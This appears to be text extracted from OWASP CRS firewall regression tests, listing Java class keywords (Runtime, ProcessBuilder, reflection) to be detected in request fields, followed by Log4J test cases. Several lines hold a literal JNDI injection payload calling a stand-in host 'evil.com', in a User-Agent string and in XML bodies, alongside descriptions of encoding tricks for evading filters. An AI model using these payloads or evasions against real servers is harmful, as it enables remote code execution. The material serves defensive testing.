Nested XML element value includes keyword java.io.ByteArrayOutputStream


Content-Type text/plain includes keyword java.io.ByteArrayOutputStream


Content-Type application/json arg value includes keyword java.io.ByteArrayOutputStream


Content-Type application/json arg name includes keyword java.io.ByteArrayOutputStream


Argument test includes keyword java.io.CharArrayReader


Argument name includes keyword java.io.CharArrayReader


Cookie test includes keyword java.io.CharArrayReader


Cookie name includes keyword java.io.CharArrayReader


Request header test includes keyword java.io.CharArrayReader


XML attribute value includes keyword java.io.CharArrayReader


XML element value includes keyword java.io.CharArrayReader


Nested XML element value includes keyword java.io.CharArrayReader


Content-Type text/plain includes keyword java.io.CharArrayReader


Content-Type application/json arg value includes keyword java.io.CharArrayReader


Content-Type application/json arg name includes keyword java.io.CharArrayReader


Argument test includes keyword java.io.DataInputStream


Argument name includes keyword java.io.DataInputStream


Cookie test includes keyword java.io.DataInputStream


Cookie name includes keyword java.io.DataInputStream


Request header test includes keyword java.io.DataInputStream


XML attribute value includes keyword java.io.DataInputStream


XML element value includes keyword java.io.DataInputStream


Nested XML element value includes keyword java.io.DataInputStream


Content-Type text/plain includes keyword java.io.DataInputStream


Content-Type application/json arg value includes keyword java.io.DataInputStream


Content-Type application/json arg name includes keyword java.io.DataInputStream


Argument test includes keyword java.io.File


Argument name includes keyword java.io.File


Cookie test includes keyword java.io.File


Cookie name includes keyword java.io.File


Request header test includes keyword java.io.File


XML attribute value includes keyword java.io.File


XML element value includes keyword java.io.File


Nested XML element value includes keyword java.io.File


Content-Type text/plain includes keyword java.io.File


Content-Type application/json arg value includes keyword java.io.File


Content-Type application/json arg name includes keyword java.io.File


Argument test includes keyword java.io.FileOutputStream


Argument name includes keyword java.io.FileOutputStream


Cookie test includes keyword java.io.FileOutputStream


Cookie name includes keyword java.io.FileOutputStream


Request header test includes keyword java.io.FileOutputStream


XML attribute value includes keyword java.io.FileOutputStream


XML element value includes keyword java.io.FileOutputStream


Nested XML element value includes keyword java.io.FileOutputStream


Content-Type text/plain includes keyword java.io.FileOutputStream


Content-Type application/json arg value includes keyword java.io.FileOutputStream


Content-Type application/json arg name includes keyword java.io.FileOutputStream


Argument test includes keyword java.io.FilterInputStream


Argument name includes keyword java.io.FilterInputStream


Cookie test includes keyword java.io.FilterInputStream


Cookie name includes keyword java.io.FilterInputStream


Request header test includes keyword java.io.FilterInputStream


XML attribute value includes keyword java.io.FilterInputStream


XML element value includes keyword java.io.FilterInputStream


Nested XML element value includes keyword java.io.FilterInputStream


Content-Type text/plain includes keyword java.io.FilterInputStream


Content-Type application/json arg value includes keyword java.io.FilterInputStream


Content-Type application/json arg name includes keyword java.io.FilterInputStream


Argument test includes keyword java.io.FilterOutputStream


Argument name includes keyword java.io.FilterOutputStream


Cookie test includes keyword java.io.FilterOutputStream


Cookie name includes keyword java.io.FilterOutputStream


Request header test includes keyword java.io.FilterOutputStream


XML attribute value includes keyword java.io.FilterOutputStream


XML element value includes keyword java.io.FilterOutputStream


Nested XML element value includes keyword java.io.FilterOutputStream


Content-Type text/plain includes keyword java.io.FilterOutputStream


Content-Type application/json arg value includes keyword java.io.FilterOutputStream


Content-Type application/json arg name includes keyword java.io.FilterOutputStream


Argument test includes keyword java.io.FilterReader


Argument name includes keyword java.io.FilterReader


Cookie test includes keyword java.io.FilterReader


Cookie name includes keyword java.io.FilterReader


Request header test includes keyword java.io.FilterReader


XML attribute value includes keyword java.io.FilterReader


XML element value includes keyword java.io.FilterReader


Nested XML element value includes keyword java.io.FilterReader


Content-Type text/plain includes keyword java.io.FilterReader


Content-Type application/json arg value includes keyword java.io.FilterReader


Content-Type application/json arg name includes keyword java.io.FilterReader


Argument test includes keyword java.io.InputStream


Argument name includes keyword java.io.InputStream


Cookie test includes keyword java.io.InputStream


Cookie name includes keyword java.io.InputStream


Request header test includes keyword java.io.InputStream


XML attribute value includes keyword java.io.InputStream


XML element value includes keyword java.io.InputStream


Nested XML element value includes keyword java.io.InputStream


Content-Type text/plain includes keyword java.io.InputStream


Content-Type application/json arg value includes keyword java.io.InputStream


Content-Type application/json arg name includes keyword java.io.InputStream


Argument test includes keyword java.io.InputStreamReader


Argument name includes keyword java.io.InputStreamReader


Cookie test includes keyword java.io.InputStreamReader


Cookie name includes keyword java.io.InputStreamReader


Request header test includes keyword java.io.InputStreamReader


XML attribute value includes keyword java.io.InputStreamReader


XML element value includes keyword java.io.InputStreamReader


Nested XML element value includes keyword java.io.InputStreamReader


Content-Type text/plain includes keyword java.io.InputStreamReader


Content-Type application/json arg value includes keyword java.io.InputStreamReader


Content-Type application/json arg name includes keyword java.io.InputStreamReader


Argument test includes keyword java.io.LineNumberReader


Argument name includes keyword java.io.LineNumberReader


Cookie test includes keyword java.io.LineNumberReader


Cookie name includes keyword java.io.LineNumberReader


Request header test includes keyword java.io.LineNumberReader


XML attribute value includes keyword java.io.LineNumberReader


XML element value includes keyword java.io.LineNumberReader


Nested XML element value includes keyword java.io.LineNumberReader


Content-Type text/plain includes keyword java.io.LineNumberReader


Content-Type application/json arg value includes keyword java.io.LineNumberReader


Content-Type application/json arg name includes keyword java.io.LineNumberReader


Argument test includes keyword java.io.ObjectOutputStream


Argument name includes keyword java.io.ObjectOutputStream


Cookie test includes keyword java.io.ObjectOutputStream


Cookie name includes keyword java.io.ObjectOutputStream


Request header test includes keyword java.io.ObjectOutputStream


XML attribute value includes keyword java.io.ObjectOutputStream


XML element value includes keyword java.io.ObjectOutputStream


Nested XML element value includes keyword java.io.ObjectOutputStream


Content-Type text/plain includes keyword java.io.ObjectOutputStream


Content-Type application/json arg value includes keyword java.io.ObjectOutputStream


Content-Type application/json arg name includes keyword java.io.ObjectOutputStream


Argument test includes keyword java.io.OutputStream


Argument name includes keyword java.io.OutputStream


Cookie test includes keyword java.io.OutputStream


Cookie name includes keyword java.io.OutputStream


Request header test includes keyword java.io.OutputStream


XML attribute value includes keyword java.io.OutputStream


XML element value includes keyword java.io.OutputStream


Nested XML element value includes keyword java.io.OutputStream


Content-Type text/plain includes keyword java.io.OutputStream


Content-Type application/json arg value includes keyword java.io.OutputStream


Content-Type application/json arg name includes keyword java.io.OutputStream


Argument test includes keyword java.io.PipedOutputStream


Argument name includes keyword java.io.PipedOutputStream


Cookie test includes keyword java.io.PipedOutputStream


Cookie name includes keyword java.io.PipedOutputStream


Request header test includes keyword java.io.PipedOutputStream


XML attribute value includes keyword java.io.PipedOutputStream


XML element value includes keyword java.io.PipedOutputStream


Nested XML element value includes keyword java.io.PipedOutputStream


Content-Type text/plain includes keyword java.io.PipedOutputStream


Content-Type application/json arg value includes keyword java.io.PipedOutputStream


Content-Type application/json arg name includes keyword java.io.PipedOutputStream


Argument test includes keyword java.io.PipedReader


Argument name includes keyword java.io.PipedReader


Cookie test includes keyword java.io.PipedReader


Cookie name includes keyword java.io.PipedReader


Request header test includes keyword java.io.PipedReader


XML attribute value includes keyword java.io.PipedReader


XML element value includes keyword java.io.PipedReader


Nested XML element value includes keyword java.io.PipedReader


Content-Type text/plain includes keyword java.io.PipedReader


Content-Type application/json arg value includes keyword java.io.PipedReader


Content-Type application/json arg name includes keyword java.io.PipedReader


Argument test includes keyword java.io.PrintStream


Argument name includes keyword java.io.PrintStream


Cookie test includes keyword java.io.PrintStream


Cookie name includes keyword java.io.PrintStream


Request header test includes keyword java.io.PrintStream


XML attribute value includes keyword java.io.PrintStream


XML element value includes keyword java.io.PrintStream


Nested XML element value includes keyword java.io.PrintStream


Content-Type text/plain includes keyword java.io.PrintStream


Content-Type application/json arg value includes keyword java.io.PrintStream


Content-Type application/json arg name includes keyword java.io.PrintStream


Argument test includes keyword java.io.PushbackInputStream


Argument name includes keyword java.io.PushbackInputStream


Cookie test includes keyword java.io.PushbackInputStream


Cookie name includes keyword java.io.PushbackInputStream


Request header test includes keyword java.io.PushbackInputStream


XML attribute value includes keyword java.io.PushbackInputStream


XML element value includes keyword java.io.PushbackInputStream


Nested XML element value includes keyword java.io.PushbackInputStream


Content-Type text/plain includes keyword java.io.PushbackInputStream


Content-Type application/json arg value includes keyword java.io.PushbackInputStream


Content-Type application/json arg name includes keyword java.io.PushbackInputStream


Argument test includes keyword java.io.Reader


Argument name includes keyword java.io.Reader


Cookie test includes keyword java.io.Reader


Cookie name includes keyword java.io.Reader


Request header test includes keyword java.io.Reader


XML attribute value includes keyword java.io.Reader


XML element value includes keyword java.io.Reader


Nested XML element value includes keyword java.io.Reader


Content-Type text/plain includes keyword java.io.Reader


Content-Type application/json arg value includes keyword java.io.Reader


Content-Type application/json arg name includes keyword java.io.Reader


Argument test includes keyword java.io.StringReader


Argument name includes keyword java.io.StringReader


Cookie test includes keyword java.io.StringReader


Cookie name includes keyword java.io.StringReader


Request header test includes keyword java.io.StringReader


XML attribute value includes keyword java.io.StringReader


XML element value includes keyword java.io.StringReader


Nested XML element value includes keyword java.io.StringReader


Content-Type text/plain includes keyword java.io.StringReader


Content-Type application/json arg value includes keyword java.io.StringReader


Content-Type application/json arg name includes keyword java.io.StringReader


Argument test includes keyword java.lang.Class


Argument name includes keyword java.lang.Class


Cookie test includes keyword java.lang.Class


Cookie name includes keyword java.lang.Class


Request header test includes keyword java.lang.Class


XML attribute value includes keyword java.lang.Class


XML element value includes keyword java.lang.Class


Nested XML element value includes keyword java.lang.Class


Content-Type text/plain includes keyword java.lang.Class


Content-Type application/json arg value includes keyword java.lang.Class


Content-Type application/json arg name includes keyword java.lang.Class


Argument test includes keyword java.lang.Integer


Argument name includes keyword java.lang.Integer


Cookie test includes keyword java.lang.Integer


Cookie name includes keyword java.lang.Integer


Request header test includes keyword java.lang.Integer


XML attribute value includes keyword java.lang.Integer


XML element value includes keyword java.lang.Integer


Nested XML element value includes keyword java.lang.Integer


Content-Type text/plain includes keyword java.lang.Integer


Content-Type application/json arg value includes keyword java.lang.Integer


Content-Type application/json arg name includes keyword java.lang.Integer


Argument test includes keyword java.lang.Number


Argument name includes keyword java.lang.Number


Cookie test includes keyword java.lang.Number


Cookie name includes keyword java.lang.Number


Request header test includes keyword java.lang.Number


XML attribute value includes keyword java.lang.Number


XML element value includes keyword java.lang.Number


Nested XML element value includes keyword java.lang.Number


Content-Type text/plain includes keyword java.lang.Number


Content-Type application/json arg value includes keyword java.lang.Number


Content-Type application/json arg name includes keyword java.lang.Number


Argument test includes keyword java.lang.Object


Argument name includes keyword java.lang.Object


Cookie test includes keyword java.lang.Object


Cookie name includes keyword java.lang.Object


Request header test includes keyword java.lang.Object


XML attribute value includes keyword java.lang.Object


XML element value includes keyword java.lang.Object


Nested XML element value includes keyword java.lang.Object


Content-Type text/plain includes keyword java.lang.Object


Content-Type application/json arg value includes keyword java.lang.Object


Content-Type application/json arg name includes keyword java.lang.Object


Argument test includes keyword java.lang.Process


Argument name includes keyword java.lang.Process


Cookie test includes keyword java.lang.Process


Cookie name includes keyword java.lang.Process


Request header test includes keyword java.lang.Process


XML attribute value includes keyword java.lang.Process


XML element value includes keyword java.lang.Process


Nested XML element value includes keyword java.lang.Process


Content-Type text/plain includes keyword java.lang.Process


Content-Type application/json arg value includes keyword java.lang.Process


Content-Type application/json arg name includes keyword java.lang.Process


Argument test includes keyword java.lang.ProcessBuilder


Argument name includes keyword java.lang.ProcessBuilder


Cookie test includes keyword java.lang.ProcessBuilder


Cookie name includes keyword java.lang.ProcessBuilder


Request header test includes keyword java.lang.ProcessBuilder


XML attribute value includes keyword java.lang.ProcessBuilder


XML element value includes keyword java.lang.ProcessBuilder


Nested XML element value includes keyword java.lang.ProcessBuilder


Content-Type text/plain includes keyword java.lang.ProcessBuilder


Content-Type application/json arg value includes keyword java.lang.ProcessBuilder


Content-Type application/json arg name includes keyword java.lang.ProcessBuilder


Argument test includes keyword java.lang.reflect


Argument name includes keyword java.lang.reflect


Cookie test includes keyword java.lang.reflect


Cookie name includes keyword java.lang.reflect


Request header test includes keyword java.lang.reflect


XML attribute value includes keyword java.lang.reflect


XML element value includes keyword java.lang.reflect


Nested XML element value includes keyword java.lang.reflect


Content-Type text/plain includes keyword java.lang.reflect


Content-Type application/json arg value includes keyword java.lang.reflect


Content-Type application/json arg name includes keyword java.lang.reflect


Argument test includes keyword java.lang.Runtime


Argument name includes keyword java.lang.Runtime


Cookie test includes keyword java.lang.Runtime


Cookie name includes keyword java.lang.Runtime


Request header test includes keyword java.lang.Runtime


XML attribute value includes keyword java.lang.Runtime


XML element value includes keyword java.lang.Runtime


Nested XML element value includes keyword java.lang.Runtime


Content-Type text/plain includes keyword java.lang.Runtime


Content-Type application/json arg value includes keyword java.lang.Runtime


Content-Type application/json arg name includes keyword java.lang.Runtime


Argument test includes keyword java.lang.String


Argument name includes keyword java.lang.String


Cookie test includes keyword java.lang.String


Cookie name includes keyword java.lang.String


Request header test includes keyword java.lang.String


XML attribute value includes keyword java.lang.String


XML element value includes keyword java.lang.String


Nested XML element value includes keyword java.lang.String


Content-Type text/plain includes keyword java.lang.String


Content-Type application/json arg value includes keyword java.lang.String


Content-Type application/json arg name includes keyword java.lang.String


Argument test includes keyword java.lang.StringBuilder


Argument name includes keyword java.lang.StringBuilder


Cookie test includes keyword java.lang.StringBuilder


Cookie name includes keyword java.lang.StringBuilder


Request header test includes keyword java.lang.StringBuilder


XML attribute value includes keyword java.lang.StringBuilder


XML element value includes keyword java.lang.StringBuilder


Nested XML element value includes keyword java.lang.StringBuilder


Content-Type text/plain includes keyword java.lang.StringBuilder


Content-Type application/json arg value includes keyword java.lang.StringBuilder


Content-Type application/json arg name includes keyword java.lang.StringBuilder


Argument test includes keyword java.lang.System


Argument name includes keyword java.lang.System


Cookie test includes keyword java.lang.System


Cookie name includes keyword java.lang.System


Request header test includes keyword java.lang.System


XML attribute value includes keyword java.lang.System


XML element value includes keyword java.lang.System


Nested XML element value includes keyword java.lang.System


Content-Type text/plain includes keyword java.lang.System


Content-Type application/json arg value includes keyword java.lang.System


Content-Type application/json arg name includes keyword java.lang.System


Argument test includes keyword javax.script.ScriptEngineManager


Argument name includes keyword javax.script.ScriptEngineManager


Cookie test includes keyword javax.script.ScriptEngineManager


Cookie name includes keyword javax.script.ScriptEngineManager


Request header test includes keyword javax.script.ScriptEngineManager


XML attribute value includes keyword javax.script.ScriptEngineManager


XML element value includes keyword javax.script.ScriptEngineManager


Nested XML element value includes keyword javax.script.ScriptEngineManager


Content-Type text/plain includes keyword javax.script.ScriptEngineManager


Content-Type application/json arg value includes keyword javax.script.ScriptEngineManager


Content-Type application/json arg name includes keyword javax.script.ScriptEngineManager


Argument test includes keyword org.apache.commons


Argument name includes keyword org.apache.commons


Cookie test includes keyword org.apache.commons


Cookie name includes keyword org.apache.commons


Request header test includes keyword org.apache.commons


XML attribute value includes keyword org.apache.commons


XML element value includes keyword org.apache.commons


Nested XML element value includes keyword org.apache.commons


Content-Type text/plain includes keyword org.apache.commons


Content-Type application/json arg value includes keyword org.apache.commons


Content-Type application/json arg name includes keyword org.apache.commons


Argument test includes keyword org.omg.CORBA


Argument name includes keyword org.omg.CORBA


Cookie test includes keyword org.omg.CORBA


Cookie name includes keyword org.omg.CORBA


Request header test includes keyword org.omg.CORBA


XML attribute value includes keyword org.omg.CORBA


XML element value includes keyword org.omg.CORBA


Nested XML element value includes keyword org.omg.CORBA


Content-Type text/plain includes keyword org.omg.CORBA


Content-Type application/json arg value includes keyword org.omg.CORBA


Content-Type application/json arg name includes keyword org.omg.CORBA


none urlDecodeUni jsDecode htmlEntityDecode


OWASP CRS test agent ${jndi:ldap://evil.com/webshell}

none urlDecodeUni jsDecode htmlEntityDecode


<?xml version="1.0" encoding="UTF-8" standalone="yes"?><tag attribute="${jndi:ldap://evil.com/webshell}"/>

none urlDecodeUni jsDecode htmlEntityDecode


<?xml version="1.0" encoding="UTF-8" standalone="yes"?><tag>"${jndi:ldap://evil.com/webshell}"</tag>

none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on arg foo, with Unicode escape encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with Unicode escape evasion, uppercase


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with Unicode escape evasion, lowercase


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, lower case


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, upper case


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with numeric HTML entity evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with Unicode escape evasion, wrapped in URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with URL encoding evasion, wrapped in Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with URL encoding evasion, mixed with Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion wrapped in URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with numeric HTML entity evasion wrapped in URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with numeric HTML entity evasion, wrapped in Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named and numeric HTML entity evasion, mixed with unicode escape evasion and URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on User-Agent header which is known to work against org.apache.commons:commons-text:1.9


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion, omitting terminal semi-colon


none urlDecodeUni jsDecode htmlEntityDecode


OWASP CRS test agent ${jndi:ldap://evil.com/webshell}

none urlDecodeUni jsDecode htmlEntityDecode


<?xml version="1.0" encoding="UTF-8" standalone="yes"?><tag attribute="${jndi:ldap://evil.com/webshell}"/>

none urlDecodeUni jsDecode htmlEntityDecode


<?xml version="1.0" encoding="UTF-8" standalone="yes"?><tag>"${jndi:ldap://evil.com/webshell}"</tag>

none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on arg foo, with Unicode escape encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with Unicode escape evasion, uppercase


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with Unicode escape evasion, lowercase


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, lower case


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, upper case


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with numeric HTML entity evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with Unicode escape evasion, wrapped in URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with URL encoding evasion, wrapped in Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with URL encoding evasion, mixed with Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion wrapped in URL encoding evasion